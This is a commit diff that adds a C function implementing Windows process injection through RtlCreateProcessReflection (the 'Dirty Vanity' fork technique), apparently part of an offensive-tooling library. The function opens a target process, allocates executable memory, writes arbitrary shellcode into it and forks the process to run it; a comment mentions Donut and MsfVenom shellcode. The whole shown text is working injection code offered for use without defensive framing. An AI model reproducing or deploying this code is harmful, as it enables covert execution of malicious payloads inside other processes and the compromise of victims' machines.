2.0.505

2026-06-06 16:54:55 +00:00 · 2022-12-19 17:23:43 -06:00
parent 1e198d4dd8
commit bd5aba026d
17 changed files with 589 additions and 30 deletions
@@ -0,0 +1,59 @@
+#include "Win32Helper.h"
+
+BOOL MpfProcessInjectionViaProcessReflection(_In_ PBYTE Shellcode, _In_ DWORD dwSizeOfShellcodeInBytes, _In_ DWORD TargetPid)
+{
+	/*
+		This process execution is really finnicky. I was able to get this to work
+		using the proof-of-concept dubbed "DirtyVanity".
+
+		Link: https://github.com/deepinstinct/Dirty-Vanity
+
+		However, I was unable to get this to work using traditional shellcode (or PIC binaries)
+		from projects such as Donut of MsfVenom. I am too lazy to modify the Shellcode supplied
+		from DeepInstinct.
+
+		tl;dr code works, too lazy to debug to determine more accurate shellcode requirements
+
+		/me shrugs
+	
+	*/
+
+	RTLCREATEPROCESSREFLECTION RtlCreateProcessReflection = NULL;
+	HMODULE hModule = NULL;
+	BOOL bFlag = FALSE;
+	HANDLE hHandle = NULL;
+	LPVOID BaseAddress = NULL;
+	SIZE_T DisposableObject = ERROR_SUCCESS;
+	RTLP_PROCESS_REFLECTION_REFLECTION_INFORMATION Information = { 0 };
+
+	hModule = GetModuleHandleEx2W(L"ntdll.dll");
+	if (hModule == NULL)
+		goto EXIT_ROUTINE;
+
+	RtlCreateProcessReflection = (RTLCREATEPROCESSREFLECTION)GetProcAddressA((DWORD64)hModule, "RtlCreateProcessReflection");
+	if (!RtlCreateProcessReflection)
+		goto EXIT_ROUTINE;
+
+	hHandle = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD | PROCESS_DUP_HANDLE, TRUE, TargetPid);
+	if (hHandle == NULL)
+		goto EXIT_ROUTINE;
+
+	BaseAddress = VirtualAllocEx(hHandle, NULL, dwSizeOfShellcodeInBytes, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
+	if (BaseAddress == NULL)
+		goto EXIT_ROUTINE;
+
+	if (!WriteProcessMemory(hHandle, BaseAddress, Shellcode, dwSizeOfShellcodeInBytes, &DisposableObject))
+		goto EXIT_ROUTINE;
+
+	if (RtlCreateProcessReflection(hHandle, RTL_CLONE_PROCESS_FLAGS_INHERIT_HANDLES | RTL_CLONE_PROCESS_FLAGS_NO_SYNCHRONIZE, BaseAddress, NULL, NULL, &Information) != STATUS_SUCCESS)
+		goto EXIT_ROUTINE;
+
+	bFlag = TRUE;
+
+EXIT_ROUTINE:
+
+	if (hHandle)
+		CloseHandle(hHandle);
+
+	return bFlag;
+}